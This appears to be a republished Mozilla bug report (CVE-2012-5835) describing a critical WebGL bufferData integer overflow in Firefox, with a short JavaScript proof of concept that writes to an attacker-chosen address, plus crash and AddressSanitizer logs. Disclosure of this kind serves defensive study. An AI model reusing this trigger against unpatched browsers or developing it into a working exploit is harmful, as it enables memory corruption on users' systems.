Skip to content
Memory corruption Disclosed report CVE-2012-5835

integer overflow, invalid write w/webgl bufferdata

miaubiz Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 16 days
  • Paid in 10 months
  • Disclosed after 16 days

Created attachment 660738 repro

I load:

<html> <head> <script> gl=document.createElement('canvas').getContext('experimental-webgl') var buf = gl.createBuffer() gl.bindBuffer(gl.ARRAY_BUFFER, buf) var magic = 0x12345678 gl.bufferData(gl.ARRAY_BUFFER, new Uint8Array(magic+1), gl.STATIC_DRAW) gl.bufferData(gl.ARRAY_BUFFER, Math.pow(2, 32), gl.STATIC_DRAW) gl.bufferSubData(gl.ARRAY_BUFFER, magic, new Uint8Array(1)) </script> </head> </html>

and I get:

exception=EXC_BAD_ACCESS:signal=11:is_exploitable=yes:instruction_disassembly=movb %al,(%rdi):instruction_address=0x00007fff92c82a41:access_type=write:access_address=0x0000000012345678:

Exception Type: EXC_BAD_ACCESS (SIGSEGV) Exception Codes: KERN_INVALID_ADDRESS at 0x0000000012345678

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread 0 libsystem_c.dylib 0x00007fff92c82a41 memmove$VARIANT$sse42 + 57 1 GLEngine 0x000000010cfa9982 glBufferSubData_Exec + 856

rdi: 0x0000000012345678 r11: 0x0000000012345678 r12: 0x0000000012345678

ASAN:SIGSEGV ==3966== ERROR: AddressSanitizer crashed on unknown address 0x000012345678 (pc 0x7fff92c82a41 sp 0x7fff5fbf5380 bp 0x7fff5fbf5380 T0) AddressSanitizer can not provide additional info. ABORTING #0 0x7fff92c82a40 in memmove$VARIANT$sse42 (in libsystem_c.dylib) + 227 #1 0x100009291 in wrap_memmove (in firefox) + 545 #2 0x13add8981 in glDeleteBuffers_Exec (in GLEngine) + 1727 #3 0x105d41d4a in mozilla::gl::GLContext::fBufferSubData(unsigned int, long, long, void const*) (in XUL) + 90 #4 0x105d25b2f in mozilla::WebGLContext::BufferSubData(unsigned int, long long, mozilla::dom::TypedArray_base<unsigned char, &(JS_GetObjectAsArrayBufferView(JSContext*, JSObject*, unsigned int*, unsigned char**))>&) (in XUL) + 575

The original report as published on Mozilla's Bugzilla, by miaubiz. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A critical-severity memory corruption bug in Graphics: CanvasWebGL. Mozilla made it public on 28 September 2012 as CVE-2012-5835.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by miaubiz

View all

10 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.